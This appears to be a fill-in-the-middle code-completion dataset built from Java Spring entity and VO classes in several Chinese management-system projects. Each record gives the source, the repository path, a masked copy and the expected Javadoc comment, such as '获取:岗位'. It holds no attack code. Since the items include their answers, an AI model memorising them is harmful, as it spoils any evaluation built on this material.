BaseFile(); baseFile.setFileId(file.getId()); baseFile.setDbId(TableTypeEnums.AUTH.getCode()); baseFile.setModelId(auth.getId()); baseFile.setCreatePerson(file.getCreatePerson()); baseFile.setMark(file.getMark()); baseFile.setUrl(file.getUrl()); baseFile.setCreateTime(file.getCreateTime()); baseFiles.add(baseFile); } return baseFileMapper.insertBaseFile(baseFiles); } return 0; } /** * 批量删除作信息者 * * @param ids 需要删除的作信息者主键 * @return 结果 */ @Override public int deleteLibraryAuthByIds(Long[] ids,Long operator) { return libraryAuthMapper.deleteLibraryAuthByIds(ids,operator); } /** * 删除作信息者信息 * * @param id 作信息者主键 * @return 结果 */ @Override public int deleteLibraryAuthById(Long id,Long operator) { return libraryAuthMapper.deleteLibraryAuthById(id,operator); } /** * 修改状态 * * @param auth 作者信息 * @return 修改结果 */ @Override public int updateUserStatus(LibraryAuth auth){ return libraryAuthMapper.updateLibraryAuth(auth); } }
0
1,857
5
2,082
5
2,237
5
2,082
5
2,536
6
false
false
false
false
false
true
16482_20
package com.entity.vo; import com.entity.YuangongEntity; import com.baomidou.mybatisplus.annotations.TableName; import java.util.Date; import org.springframework.format.annotation.DateTimeFormat; import com.fasterxml.jackson.annotation.JsonFormat; import java.io.Serializable; /** * 员工 * 手机端接口返回实体辅助类 * (主要作用去除一些不必要的字段) * @author * @email * @date 2021-05-07 10:42:31 */ public class YuangongVO implements Serializable { private static final long serialVersionUID = 1L; /** * 密码 */ private String mima; /** * 员工姓名 */ private String yuangongxingming; /** * 性别 */ private String xingbie; /** * 照片 */ private String zhaopian; /** * 部门 */ private String bumen; /** * 岗位 */ private String gangwei; /** * 联系电话 */ private String lianxidianhua; /** * 员工邮箱 */ private String yuangongyouxiang; /** * 设置:密码 */ public void setMima(String mima) { this.mima = mima; } /** * 获取:密码 */ public String getMima() { return mima; } /** * 设置:员工姓名 */ public void setYuangongxingming(String yuangongxingming) { this.yuangongxingming = yuangongxingming; } /** * 获取:员工姓名 */ public String getYuangongxingming() { return yuangongxingming; } /** * 设置:性别 */ public void setXingbie(String xingbie) { this.xingbie = xingbie; } /** * 获取:性别 */ public String getXingbie() { return xingbie; } /** * 设置:照片 */ public void setZhaopian(String zhaopian) { this.zhaopian = zhaopian; } /** * 获取:照片 */ public String getZhaopian() { return zhaopian; } /** * 设置:部门 */ public void setBumen(String bumen) { this.bumen = bumen; } /** * 获取:部门 */ public String getBumen() { return bumen; } /** * 设置:岗位 */ public void setGangwei(String gangwei) { this.gangwei = gangwei; } /** * 获取:岗位 */ public String getGangwei() { return gangwei; } /** * 设置:联系电话 */ public void setLianxidianhua(String lianxidianhua) { this.lianxidianhua = lianxidianhua; } /** * 获取:联系电话 */ public String getLianxidianhua() { return lianxidianhua; } /** * 设置:员工邮箱 */ public void setYuangongyouxiang(String yuangongyouxiang) { this.yuangongyouxiang = yuangongyouxiang; } /** * 获取:员工邮箱 */ public String getYuangongyouxiang() { return yuangongyouxiang; } }
1120041844/EmployeeAppraisalSystem
src/main/java/com/entity/vo/YuangongVO.java
979
/** * 获取:岗位 */
block_comment
zh-cn
package com.entity.vo; import com.entity.YuangongEntity; import com.baomidou.mybatisplus.annotations.TableName; import java.util.Date; import org.springframework.format.annotation.DateTimeFormat; import com.fasterxml.jackson.annotation.JsonFormat; import java.io.Serializable; /** * 员工 * 手机端接口返回实体辅助类 * (主要作用去除一些不必要的字段) * @author * @email * @date 2021-05-07 10:42:31 */ public class YuangongVO implements Serializable { private static final long serialVersionUID = 1L; /** * 密码 */ private String mima; /** * 员工姓名 */ private String yuangongxingming; /** * 性别 */ private String xingbie; /** * 照片 */ private String zhaopian; /** * 部门 */ private String bumen; /** * 岗位 */ private String gangwei; /** * 联系电话 */ private String lianxidianhua; /** * 员工邮箱 */ private String yuangongyouxiang; /** * 设置:密码 */ public void setMima(String mima) { this.mima = mima; } /** * 获取:密码 */ public String getMima() { return mima; } /** * 设置:员工姓名 */ public void setYuangongxingming(String yuangongxingming) { this.yuangongxingming = yuangongxingming; } /** * 获取:员工姓名 */ public String getYuangongxingming() { return yuangongxingming; } /** * 设置:性别 */ public void setXingbie(String xingbie) { this.xingbie = xingbie; } /** * 获取:性别 */ public String getXingbie() { return xingbie; } /** * 设置:照片 */ public void setZhaopian(String zhaopian) { this.zhaopian = zhaopian; } /** * 获取:照片 */ public String getZhaopian() { return zhaopian; } /** * 设置:部门 */ public void setBumen(String bumen) { this.bumen = bumen; } /** * 获取:部门 */ public String getBumen() { return bumen; } /** * 设置:岗位 */ public void setGangwei(String gangwei) { this.gangwei = gangwei; } /** * 获取: <SUF>*/ public String getGangwei() { return gangwei; } /** * 设置:联系电话 */ public void setLianxidianhua(String lianxidianhua) { this.lianxidianhua = lianxidianhua; } /** * 获取:联系电话 */ public String getLianxidianhua() { return lianxidianhua; } /** * 设置:员工邮箱 */ public void setYuangongyouxiang(String yuangongyouxiang) { this.yuangongyouxiang = yuangongyouxiang; } /** * 获取:员工邮箱 */ public String getYuangongyouxiang() { return yuangongyouxiang; } }
0
826
9
979
10
1,038
10
979
10
1,288
15
false
false
false
false
false
true
40215_7
package com.entity.model; import com.entity.ForumEntity; import com.baomidou.mybatisplus.annotations.TableName; import java.util.Date; import org.springframework.format.annotation.DateTimeFormat; import com.fasterxml.jackson.annotation.JsonFormat; import java.io.Serializable; /** * 健康论坛 * 接收传参的实体类 *(实际开发中配合移动端接口开发手动去掉些没用的字段, 后端一般用entity就够用了) * 取自ModelAndView 的model名称 * @author * @email * @date 2021-04-24 10:41:30 */ public class ForumModel implements Serializable { private static final long serialVersionUID = 1L; /** * 帖子内容 */ private String content; /** * 父节点id */ private Long parentid; /** * 用户id */ private Long userid; /** * 用户名 */ private String username; /** * 状态 */ private String isdone; /** * 设置:帖子内容 */ public void setContent(String content) { this.content = content; } /** * 获取:帖子内容 */ public String getContent() { return content; } /** * 设置:父节点id */ public void setParentid(Long parentid) { this.parentid = parentid; } /** * 获取:父节点id */ public Long getParentid() { return parentid; } /** * 设置:用户id */ public void setUserid(Long userid) { this.userid = userid; } /** * 获取:用户id */ public Long getUserid() { return userid; } /** * 设置:用户名 */ public void setUsername(String username) { this.username = username; } /** * 获取:用户名 */ public String getUsername() { return username; } /** * 设置:状态 */ public void setIsdone(String isdone) { this.isdone = isdone; } /** * 获取:状态 */ public String getIsdone() { return isdone; } }
1120041844/HealthSystem
src/main/java/com/entity/model/ForumModel.java
600
/** * 获取:帖子内容 */
block_comment
zh-cn
package com.entity.model; import com.entity.ForumEntity; import com.baomidou.mybatisplus.annotations.TableName; import java.util.Date; import org.springframework.format.annotation.DateTimeFormat; import com.fasterxml.jackson.annotation.JsonFormat; import java.io.Serializable; /** * 健康论坛 * 接收传参的实体类 *(实际开发中配合移动端接口开发手动去掉些没用的字段, 后端一般用entity就够用了) * 取自ModelAndView 的model名称 * @author * @email * @date 2021-04-24 10:41:30 */ public class ForumModel implements Serializable { private static final long serialVersionUID = 1L; /** * 帖子内容 */ private String content; /** * 父节点id */ private Long parentid; /** * 用户id */ private Long userid; /** * 用户名 */ private String username; /** * 状态 */ private String isdone; /** * 设置:帖子内容 */ public void setContent(String content) { this.content = content; } /** * 获取: <SUF>*/ public String getContent() { return content; } /** * 设置:父节点id */ public void setParentid(Long parentid) { this.parentid = parentid; } /** * 获取:父节点id */ public Long getParentid() { return parentid; } /** * 设置:用户id */ public void setUserid(Long userid) { this.userid = userid; } /** * 获取:用户id */ public Long getUserid() { return userid; } /** * 设置:用户名 */ public void setUsername(String username) { this.username = username; } /** * 获取:用户名 */ public String getUsername() { return username; } /** * 设置:状态 */ public void setIsdone(String isdone) { this.isdone = isdone; } /** * 获取:状态 */ public String getIsdone() { return isdone; } }
0
512
10
600
11
664
11
600
11
827
17
false
false
false
false
false
true
44628_27
package com.entity.vo; import com.entity.BingrenbingliEntity; import com.baomidou.mybatisplus.annotations.TableName; import java.util.Date; import org.springframework.format.annotation.DateTimeFormat; import com.fasterxml.jackson.annotation.JsonFormat; import java.io.Serializable; /** * 病人病历 * 手机端接口返回实体辅助类 * (主要作用去除一些不必要的字段) * @author * @email * @date 2021-04-20 11:48:28 */ public class BingrenbingliVO implements Serializable { private static final long serialVersionUID = 1L; /** * 姓名 */ private String xingming; /** * 医院编号 */ private String yiyuanbianhao; /** * 性别 */ private String xingbie; /** * 婚姻 */ private String hunyin; /** * 年龄 */ private String nianling; /** * 现住地址 */ private String xianzhudizhi; /** * 入院日期 */ private String ruyuanriqi; /** * 主诉 */ private String zhusu; /** * 现病史 */ private String xianbingshi; /** * 既往史 */ private String jiwangshi; /** * 个人史 */ private String gerenshi; /** * 家族史 */ private String jiazushi; /** * 体格检查 */ private String tigejiancha; /** * 病历摘要 */ private String binglizhaiyao; /** * 初步诊断 */ private String chubuzhenduan; /** * 医生账号 */ private String yishengzhanghao; /** * 医生姓名 */ private String yishengxingming; /** * 设置:姓名 */ public void setXingming(String xingming) { this.xingming = xingming; } /** * 获取:姓名 */ public String getXingming() { return xingming; } /** * 设置:医院编号 */ public void setYiyuanbianhao(String yiyuanbianhao) { this.yiyuanbianhao = yiyuanbianhao; } /** * 获取:医院编号 */ public String getYiyuanbianhao() { return yiyuanbianhao; } /** * 设置:性别 */ public void setXingbie(String xingbie) { this.xingbie = xingbie; } /** * 获取:性别 */ public String getXingbie() { return xingbie; } /** * 设置:婚姻 */ public void setHunyin(String hunyin) { this.hunyin = hunyin; } /** * 获取:婚姻 */ public String getHunyin() { return hunyin; } /** * 设置:年龄 */ public void setNianling(String nianling) { this.nianling = nianling; } /** * 获取:年龄 */ public String getNianling() { return nianling; } /** * 设置:现住地址 */ public void setXianzhudizhi(String xianzhudizhi) { this.xianzhudizhi = xianzhudizhi; } /** * 获取:现住地址 */ public String getXianzhudizhi() { return xianzhudizhi; } /** * 设置:入院日期 */ public void setRuyuanriqi(String ruyuanriqi) { this.ruyuanriqi = ruyuanriqi; } /** * 获取:入院日期 */ public String getRuyuanriqi() { return ruyuanriqi; } /** * 设置:主诉 */ public void setZhusu(String zhusu) { this.zhusu = zhusu; } /** * 获取:主诉 */ public String getZhusu() { return zhusu; } /** * 设置:现病史 */ public void setXianbingshi(String xianbingshi) { this.xianbingshi = xianbingshi; } /** * 获取:现病史 */ public String getXianbingshi() { return xianbingshi; } /** * 设置:既往史 */ public void setJiwangshi(String jiwangshi) { this.jiwangshi = jiwangshi; } /** * 获取:既往史 */ public String getJiwangshi() { return jiwangshi; } /** * 设置:个人史 */ public void setGerenshi(String gerenshi) { this.gerenshi = gerenshi; } /** * 获取:个人史 */ public String getGerenshi() { return gerenshi; } /** * 设置:家族史 */ public void setJiazushi(String jiazushi) { this.jiazushi = jiazushi; } /** * 获取:家族史 */ public String getJiazushi() { return jiazushi; } /** * 设置:体格检查 */ public void setTigejiancha(String tigejiancha) { this.tigejiancha = tigejiancha; } /** * 获取:体格检查 */ public String getTigejiancha() { return tigejiancha; } /** * 设置:病历摘要 */ public void setBinglizhaiyao(String binglizhaiyao) { this.binglizhaiyao = binglizhaiyao; } /** * 获取:病历摘要 */ public String getBinglizhaiyao() { return binglizhaiyao; } /** * 设置:初步诊断 */ public void setChubuzhenduan(String chubuzhenduan) { this.chubuzhenduan = chubuzhenduan; } /** * 获取:初步诊断 */ public String getChubuzhenduan() { return chubuzhenduan; } /** * 设置:医生账号 */ public void setYishengzhanghao(String yishengzhanghao) { this.yishengzhanghao = yishengzhanghao; } /** * 获取:医生账号 */ public String getYishengzhanghao() { return yishengzhanghao; } /** * 设置:医生姓名 */ public void setYishengxingming(String yishengxingming) { this.yishengxingming = yishengxingming; } /** * 获取:医生姓名 */ public String getYishengxingming() { return yishengxingming; } }
1120041844/MedicalRecordInteractionSystem
src/main/java/com/entity/vo/BingrenbingliVO.java
1,955
/** * 获取:年龄 */
block_comment
zh-cn
package com.entity.vo; import com.entity.BingrenbingliEntity; import com.baomidou.mybatisplus.annotations.TableName; import java.util.Date; import org.springframework.format.annotation.DateTimeFormat; import com.fasterxml.jackson.annotation.JsonFormat; import java.io.Serializable; /** * 病人病历 * 手机端接口返回实体辅助类 * (主要作用去除一些不必要的字段) * @author * @email * @date 2021-04-20 11:48:28 */ public class BingrenbingliVO implements Serializable { private static final long serialVersionUID = 1L; /** * 姓名 */ private String xingming; /** * 医院编号 */ private String yiyuanbianhao; /** * 性别 */ private String xingbie; /** * 婚姻 */ private String hunyin; /** * 年龄 */ private String nianling; /** * 现住地址 */ private String xianzhudizhi; /** * 入院日期 */ private String ruyuanriqi; /** * 主诉 */ private String zhusu; /** * 现病史 */ private String xianbingshi; /** * 既往史 */ private String jiwangshi; /** * 个人史 */ private String gerenshi; /** * 家族史 */ private String jiazushi; /** * 体格检查 */ private String tigejiancha; /** * 病历摘要 */ private String binglizhaiyao; /** * 初步诊断 */ private String chubuzhenduan; /** * 医生账号 */ private String yishengzhanghao; /** * 医生姓名 */ private String yishengxingming; /** * 设置:姓名 */ public void setXingming(String xingming) { this.xingming = xingming; } /** * 获取:姓名 */ public String getXingming() { return xingming; } /** * 设置:医院编号 */ public void setYiyuanbianhao(String yiyuanbianhao) { this.yiyuanbianhao = yiyuanbianhao; } /** * 获取:医院编号 */ public String getYiyuanbianhao() { return yiyuanbianhao; } /** * 设置:性别 */ public void setXingbie(String xingbie) { this.xingbie = xingbie; } /** * 获取:性别 */ public String getXingbie() { return xingbie; } /** * 设置:婚姻 */ public void setHunyin(String hunyin) { this.hunyin = hunyin; } /** * 获取:婚姻 */ public String getHunyin() { return hunyin; } /** * 设置:年龄 */ public void setNianling(String nianling) { this.nianling = nianling; } /** * 获取: <SUF>*/ public String getNianling() { return nianling; } /** * 设置:现住地址 */ public void setXianzhudizhi(String xianzhudizhi) { this.xianzhudizhi = xianzhudizhi; } /** * 获取:现住地址 */ public String getXianzhudizhi() { return xianzhudizhi; } /** * 设置:入院日期 */ public void setRuyuanriqi(String ruyuanriqi) { this.ruyuanriqi = ruyuanriqi; } /** * 获取:入院日期 */ public String getRuyuanriqi() { return ruyuanriqi; } /** * 设置:主诉 */ public void setZhusu(String zhusu) { this.zhusu = zhusu; } /** * 获取:主诉 */ public String getZhusu() { return zhusu; } /** * 设置:现病史 */ public void setXianbingshi(String xianbingshi) { this.xianbingshi = xianbingshi; } /** * 获取:现病史 */ public String getXianbingshi() { return xianbingshi; } /** * 设置:既往史 */ public void setJiwangshi(String jiwangshi) { this.jiwangshi = jiwangshi; } /** * 获取:既往史 */ public String getJiwangshi() { return jiwangshi; } /** * 设置:个人史 */ public void setGerenshi(String gerenshi) { this.gerenshi = gerenshi; } /** * 获取:个人史 */ public String getGerenshi() { return gerenshi; } /** * 设置:家族史 */ public void setJiazushi(String jiazushi) { this.jiazushi = jiazushi; } /** * 获取:家族史 */ public String getJiazushi() { return jiazushi; } /** * 设置:体格检查 */ public void setTigejiancha(String tigejiancha) { this.tigejiancha = tigejiancha; } /** * 获取:体格检查 */ public String getTigejiancha() { return tigejiancha; } /** * 设置:病历摘要 */ public void setBinglizhaiyao(String binglizhaiyao) { this.binglizhaiyao = binglizhaiyao; } /** * 获取:病历摘要 */ public String getBinglizhaiyao() { return binglizhaiyao; } /** * 设置:初步诊断 */ public void setChubuzhenduan(String chubuzhenduan) { this.chubuzhenduan = chubuzhenduan; } /** * 获取:初步诊断 */ public String getChubuzhenduan() { return chubuzhenduan; } /** * 设置:医生账号 */ public void setYishengzhanghao(String yishengzhanghao) { this.yishengzhanghao = yishengzhanghao; } /** * 获取:医生账号 */ public String getYishengzhanghao() { return yishengzhanghao; } /** * 设置:医生姓名 */ public void setYishengxingming(String yishengxingming) { this.yishengxingming = yishengxingming; } /** * 获取:医生姓名 */ public String getYishengxingming() { return yishengxingming; } }
0
1,753
9
1,955
10
2,100
10
1,955
10
2,644
15
false
false
false
false
false
true
59350_7
package com.entity.vo; import com.entity.SijiEntity; import com.baomidou.mybatisplus.annotations.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import java.util.Date; import org.springframework.format.annotation.DateTimeFormat; import java.io.Serializable; /** * 司机 * 手机端接口返回实体辅助类 * (主要作用去除一些不必要的字段) * @author * @email * @date 2021-04-21 21:07:30 */ public class SijiVO implements Serializable { private static final long serialVersionUID = 1L; /** * 密码 */ private String mima; /** * 司机姓名 */ private String sijixingming; /** * 年龄 */ private Integer nianling; /** * 性别 */ private String xingbie; /** * 驾龄 */ private Integer jialing; /** * 车牌号 */ private String chepaihao; /** * 车辆品牌 */ private String cheliangpinpai; /** * 货车类型 */ private String huocheleixing; /** * 司机电话 */ private String sijidianhua; /** * 照片 */ private String zhaopian; /** * 设置:密码 */ public void setMima(String mima) { this.mima = mima; } /** * 获取:密码 */ public String getMima() { return mima; } /** * 设置:司机姓名 */ public void setSijixingming(String sijixingming) { this.sijixingming = sijixingming; } /** * 获取:司机姓名 */ public String getSijixingming() { return sijixingming; } /** * 设置:年龄 */ public void setNianling(Integer nianling) { this.nianling = nianling; } /** * 获取:年龄 */ public Integer getNianling() { return nianling; } /** * 设置:性别 */ public void setXingbie(String xingbie) { this.xingbie = xingbie; } /** * 获取:性别 */ public String getXingbie() { return xingbie; } /** * 设置:驾龄 */ public void setJialing(Integer jialing) { this.jialing = jialing; } /** * 获取:驾龄 */ public Integer getJialing() { return jialing; } /** * 设置:车牌号 */ public void setChepaihao(String chepaihao) { this.chepaihao = chepaihao; } /** * 获取:车牌号 */ public String getChepaihao() { return chepaihao; } /** * 设置:车辆品牌 */ public void setCheliangpinpai(String cheliangpinpai) { this.cheliangpinpai = cheliangpinpai; } /** * 获取:车辆品牌 */ public String getCheliangpinpai() { return cheliangpinpai; } /** * 设置:货车类型 */ public void setHuocheleixing(String huocheleixing) { this.huocheleixing = huocheleixing; } /** * 获取:货车类型 */ public String getHuocheleixing() { return huocheleixing; } /** * 设置:司机电话 */ public void setSijidianhua(String sijidianhua) { this.sijidianhua = sijidianhua; } /** * 获取:司机电话 */ public String getSijidianhua() { return sijidianhua; } /** * 设置:照片 */ public void setZhaopian(String zhaopian) { this.zhaopian = zhaopian; } /** * 获取:照片 */ public String getZhaopian() { return zhaopian; } }
1120041844/MovingAppointmentSystem
src/main/java/com/entity/vo/SijiVO.java
1,194
/** * 车辆品牌 */
block_comment
zh-cn
package com.entity.vo; import com.entity.SijiEntity; import com.baomidou.mybatisplus.annotations.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import java.util.Date; import org.springframework.format.annotation.DateTimeFormat; import java.io.Serializable; /** * 司机 * 手机端接口返回实体辅助类 * (主要作用去除一些不必要的字段) * @author * @email * @date 2021-04-21 21:07:30 */ public class SijiVO implements Serializable { private static final long serialVersionUID = 1L; /** * 密码 */ private String mima; /** * 司机姓名 */ private String sijixingming; /** * 年龄 */ private Integer nianling; /** * 性别 */ private String xingbie; /** * 驾龄 */ private Integer jialing; /** * 车牌号 */ private String chepaihao; /** * 车辆品 <SUF>*/ private String cheliangpinpai; /** * 货车类型 */ private String huocheleixing; /** * 司机电话 */ private String sijidianhua; /** * 照片 */ private String zhaopian; /** * 设置:密码 */ public void setMima(String mima) { this.mima = mima; } /** * 获取:密码 */ public String getMima() { return mima; } /** * 设置:司机姓名 */ public void setSijixingming(String sijixingming) { this.sijixingming = sijixingming; } /** * 获取:司机姓名 */ public String getSijixingming() { return sijixingming; } /** * 设置:年龄 */ public void setNianling(Integer nianling) { this.nianling = nianling; } /** * 获取:年龄 */ public Integer getNianling() { return nianling; } /** * 设置:性别 */ public void setXingbie(String xingbie) { this.xingbie = xingbie; } /** * 获取:性别 */ public String getXingbie() { return xingbie; } /** * 设置:驾龄 */ public void setJialing(Integer jialing) { this.jialing = jialing; } /** * 获取:驾龄 */ public Integer getJialing() { return jialing; } /** * 设置:车牌号 */ public void setChepaihao(String chepaihao) { this.chepaihao = chepaihao; } /** * 获取:车牌号 */ public String getChepaihao() { return chepaihao; } /** * 设置:车辆品牌 */ public void setCheliangpinpai(String cheliangpinpai) { this.cheliangpinpai = cheliangpinpai; } /** * 获取:车辆品牌 */ public String getCheliangpinpai() { return cheliangpinpai; } /** * 设置:货车类型 */ public void setHuocheleixing(String huocheleixing) { this.huocheleixing = huocheleixing; } /** * 获取:货车类型 */ public String getHuocheleixing() { return huocheleixing; } /** * 设置:司机电话 */ public void setSijidianhua(String sijidianhua) { this.sijidianhua = sijidianhua; } /** * 获取:司机电话 */ public String getSijidianhua() { return sijidianhua; } /** * 设置:照片 */ public void setZhaopian(String zhaopian) { this.zhaopian = zhaopian; } /** * 获取:照片 */ public String getZhaopian() { return zhaopian; } }
0
1,022
11
1,194
11
1,274
10
1,194
11
1,593
18
false
false
false
false
false
true
16487_17
package com.entity.vo; import com.entity.KehuEntity; import com.baomidou.mybatisplus.annotations.TableName; import java.util.Date; import org.springframework.format.annotation.DateTimeFormat; import com.fasterxml.jackson.annotation.JsonFormat; import java.io.Serializable; /** * 客户 * 手机端接口返回实体辅助类 * (主要作用去除一些不必要的字段) * @author * @email * @date 2021-04-23 10:20:09 */ public class KehuVO implements Serializable { private static final long serialVersionUID = 1L; /** * 密码 */ private String mima; /** * 姓名 */ private String xingming; /** * 性别 */ private String xingbie; /** * 年龄 */ private Integer nianling; /** * 手机 */ private String shouji; /** * 邮箱 */ private String youxiang; /** * 家庭住址 */ private String jiatingzhuzhi; /** * 缴费情况 */ private String jiaofeiqingkuang; /** * 房屋信息 */ private String fangwuxinxi; /** * 房产资料 */ private String fangchanziliao; /** * 照片 */ private String zhaopian; /** * 设置:密码 */ public void setMima(String mima) { this.mima = mima; } /** * 获取:密码 */ public String getMima() { return mima; } /** * 设置:姓名 */ public void setXingming(String xingming) { this.xingming = xingming; } /** * 获取:姓名 */ public String getXingming() { return xingming; } /** * 设置:性别 */ public void setXingbie(String xingbie) { this.xingbie = xingbie; } /** * 获取:性别 */ public String getXingbie() { return xingbie; } /** * 设置:年龄 */ public void setNianling(Integer nianling) { this.nianling = nianling; } /** * 获取:年龄 */ public Integer getNianling() { return nianling; } /** * 设置:手机 */ public void setShouji(String shouji) { this.shouji = shouji; } /** * 获取:手机 */ public String getShouji() { return shouji; } /** * 设置:邮箱 */ public void setYouxiang(String youxiang) { this.youxiang = youxiang; } /** * 获取:邮箱 */ public String getYouxiang() { return youxiang; } /** * 设置:家庭住址 */ public void setJiatingzhuzhi(String jiatingzhuzhi) { this.jiatingzhuzhi = jiatingzhuzhi; } /** * 获取:家庭住址 */ public String getJiatingzhuzhi() { return jiatingzhuzhi; } /** * 设置:缴费情况 */ public void setJiaofeiqingkuang(String jiaofeiqingkuang) { this.jiaofeiqingkuang = jiaofeiqingkuang; } /** * 获取:缴费情况 */ public String getJiaofeiqingkuang() { return jiaofeiqingkuang; } /** * 设置:房屋信息 */ public void setFangwuxinxi(String fangwuxinxi) { this.fangwuxinxi = fangwuxinxi; } /** * 获取:房屋信息 */ public String getFangwuxinxi() { return fangwuxinxi; } /** * 设置:房产资料 */ public void setFangchanziliao(String fangchanziliao) { this.fangchanziliao = fangchanziliao; } /** * 获取:房产资料 */ public String getFangchanziliao() { return fangchanziliao; } /** * 设置:照片 */ public void setZhaopian(String zhaopian) { this.zhaopian = zhaopian; } /** * 获取:照片 */ public String getZhaopian() { return zhaopian; } }
1120041844/SmartCommunitySystem
src/main/java/com/entity/vo/KehuVO.java
1,287
/** * 获取:性别 */
block_comment
zh-cn
package com.entity.vo; import com.entity.KehuEntity; import com.baomidou.mybatisplus.annotations.TableName; import java.util.Date; import org.springframework.format.annotation.DateTimeFormat; import com.fasterxml.jackson.annotation.JsonFormat; import java.io.Serializable; /** * 客户 * 手机端接口返回实体辅助类 * (主要作用去除一些不必要的字段) * @author * @email * @date 2021-04-23 10:20:09 */ public class KehuVO implements Serializable { private static final long serialVersionUID = 1L; /** * 密码 */ private String mima; /** * 姓名 */ private String xingming; /** * 性别 */ private String xingbie; /** * 年龄 */ private Integer nianling; /** * 手机 */ private String shouji; /** * 邮箱 */ private String youxiang; /** * 家庭住址 */ private String jiatingzhuzhi; /** * 缴费情况 */ private String jiaofeiqingkuang; /** * 房屋信息 */ private String fangwuxinxi; /** * 房产资料 */ private String fangchanziliao; /** * 照片 */ private String zhaopian; /** * 设置:密码 */ public void setMima(String mima) { this.mima = mima; } /** * 获取:密码 */ public String getMima() { return mima; } /** * 设置:姓名 */ public void setXingming(String xingming) { this.xingming = xingming; } /** * 获取:姓名 */ public String getXingming() { return xingming; } /** * 设置:性别 */ public void setXingbie(String xingbie) { this.xingbie = xingbie; } /** * 获取: <SUF>*/ public String getXingbie() { return xingbie; } /** * 设置:年龄 */ public void setNianling(Integer nianling) { this.nianling = nianling; } /** * 获取:年龄 */ public Integer getNianling() { return nianling; } /** * 设置:手机 */ public void setShouji(String shouji) { this.shouji = shouji; } /** * 获取:手机 */ public String getShouji() { return shouji; } /** * 设置:邮箱 */ public void setYouxiang(String youxiang) { this.youxiang = youxiang; } /** * 获取:邮箱 */ public String getYouxiang() { return youxiang; } /** * 设置:家庭住址 */ public void setJiatingzhuzhi(String jiatingzhuzhi) { this.jiatingzhuzhi = jiatingzhuzhi; } /** * 获取:家庭住址 */ public String getJiatingzhuzhi() { return jiatingzhuzhi; } /** * 设置:缴费情况 */ public void setJiaofeiqingkuang(String jiaofeiqingkuang) { this.jiaofeiqingkuang = jiaofeiqingkuang; } /** * 获取:缴费情况 */ public String getJiaofeiqingkuang() { return jiaofeiqingkuang; } /** * 设置:房屋信息 */ public void setFangwuxinxi(String fangwuxinxi) { this.fangwuxinxi = fangwuxinxi; } /** * 获取:房屋信息 */ public String getFangwuxinxi() { return fangwuxinxi; } /** * 设置:房产资料 */ public void setFangchanziliao(String fangchanziliao) { this.fangchanziliao = fangchanziliao; } /** * 获取:房产资料 */ public String getFangchanziliao() { return fangchanziliao; } /** * 设置:照片 */ public void setZhaopian(String zhaopian) { this.zhaopian = zhaopian; } /** * 获取:照片 */ public String getZhaopian() { return zhaopian; } }
0
1,120
9
1,287
9
1,365
10
1,287
9
1,709
15
false
false
false
false
false
true
16480_21
package com.entity.vo; import com.entity.JiaoshiEntity; import com.baomidou.mybatisplus.annotations.TableName; import java.util.Date; import org.springframework.format.annotation.DateTimeFormat; import com.fasterxml.jackson.annotation.JsonFormat; import java.io.Serializable; /** * 教师 * 手机端接口返回实体辅助类 * (主要作用去除一些不必要的字段) * @author * @email * @date 2021-04-29 10:40:57 */ public class JiaoshiVO implements Serializable { private static final long serialVersionUID = 1L; /** * 密码 */ private String mima; /** * 教师姓名 */ private String jiaoshixingming; /** * 性别 */ private String xingbie; /** * 照片 */ private String zhaopian; /** * 院系 */ private String yuanxi; /** * 班级 */ private String banji; /** * 职称 */ private String zhicheng; /** * 联系电话 */ private String lianxidianhua; /** * 教师邮箱 */ private String jiaoshiyouxiang; /** * 设置:密码 */ public void setMima(String mima) { this.mima = mima; } /** * 获取:密码 */ public String getMima() { return mima; } /** * 设置:教师姓名 */ public void setJiaoshixingming(String jiaoshixingming) { this.jiaoshixingming = jiaoshixingming; } /** * 获取:教师姓名 */ public String getJiaoshixingming() { return jiaoshixingming; } /** * 设置:性别 */ public void setXingbie(String xingbie) { this.xingbie = xingbie; } /** * 获取:性别 */ public String getXingbie() { return xingbie; } /** * 设置:照片 */ public void setZhaopian(String zhaopian) { this.zhaopian = zhaopian; } /** * 获取:照片 */ public String getZhaopian() { return zhaopian; } /** * 设置:院系 */ public void setYuanxi(String yuanxi) { this.yuanxi = yuanxi; } /** * 获取:院系 */ public String getYuanxi() { return yuanxi; } /** * 设置:班级 */ public void setBanji(String banji) { this.banji = banji; } /** * 获取:班级 */ public String getBanji() { return banji; } /** * 设置:职称 */ public void setZhicheng(String zhicheng) { this.zhicheng = zhicheng; } /** * 获取:职称 */ public String getZhicheng() { return zhicheng; } /** * 设置:联系电话 */ public void setLianxidianhua(String lianxidianhua) { this.lianxidianhua = lianxidianhua; } /** * 获取:联系电话 */ public String getLianxidianhua() { return lianxidianhua; } /** * 设置:教师邮箱 */ public void setJiaoshiyouxiang(String jiaoshiyouxiang) { this.jiaoshiyouxiang = jiaoshiyouxiang; } /** * 获取:教师邮箱 */ public String getJiaoshiyouxiang() { return jiaoshiyouxiang; } }
1120041844/StudentAwardManagementSystem
src/main/java/com/entity/vo/JiaoshiVO.java
1,070
/** * 获取:班级 */
block_comment
zh-cn
package com.entity.vo; import com.entity.JiaoshiEntity; import com.baomidou.mybatisplus.annotations.TableName; import java.util.Date; import org.springframework.format.annotation.DateTimeFormat; import com.fasterxml.jackson.annotation.JsonFormat; import java.io.Serializable; /** * 教师 * 手机端接口返回实体辅助类 * (主要作用去除一些不必要的字段) * @author * @email * @date 2021-04-29 10:40:57 */ public class JiaoshiVO implements Serializable { private static final long serialVersionUID = 1L; /** * 密码 */ private String mima; /** * 教师姓名 */ private String jiaoshixingming; /** * 性别 */ private String xingbie; /** * 照片 */ private String zhaopian; /** * 院系 */ private String yuanxi; /** * 班级 */ private String banji; /** * 职称 */ private String zhicheng; /** * 联系电话 */ private String lianxidianhua; /** * 教师邮箱 */ private String jiaoshiyouxiang; /** * 设置:密码 */ public void setMima(String mima) { this.mima = mima; } /** * 获取:密码 */ public String getMima() { return mima; } /** * 设置:教师姓名 */ public void setJiaoshixingming(String jiaoshixingming) { this.jiaoshixingming = jiaoshixingming; } /** * 获取:教师姓名 */ public String getJiaoshixingming() { return jiaoshixingming; } /** * 设置:性别 */ public void setXingbie(String xingbie) { this.xingbie = xingbie; } /** * 获取:性别 */ public String getXingbie() { return xingbie; } /** * 设置:照片 */ public void setZhaopian(String zhaopian) { this.zhaopian = zhaopian; } /** * 获取:照片 */ public String getZhaopian() { return zhaopian; } /** * 设置:院系 */ public void setYuanxi(String yuanxi) { this.yuanxi = yuanxi; } /** * 获取:院系 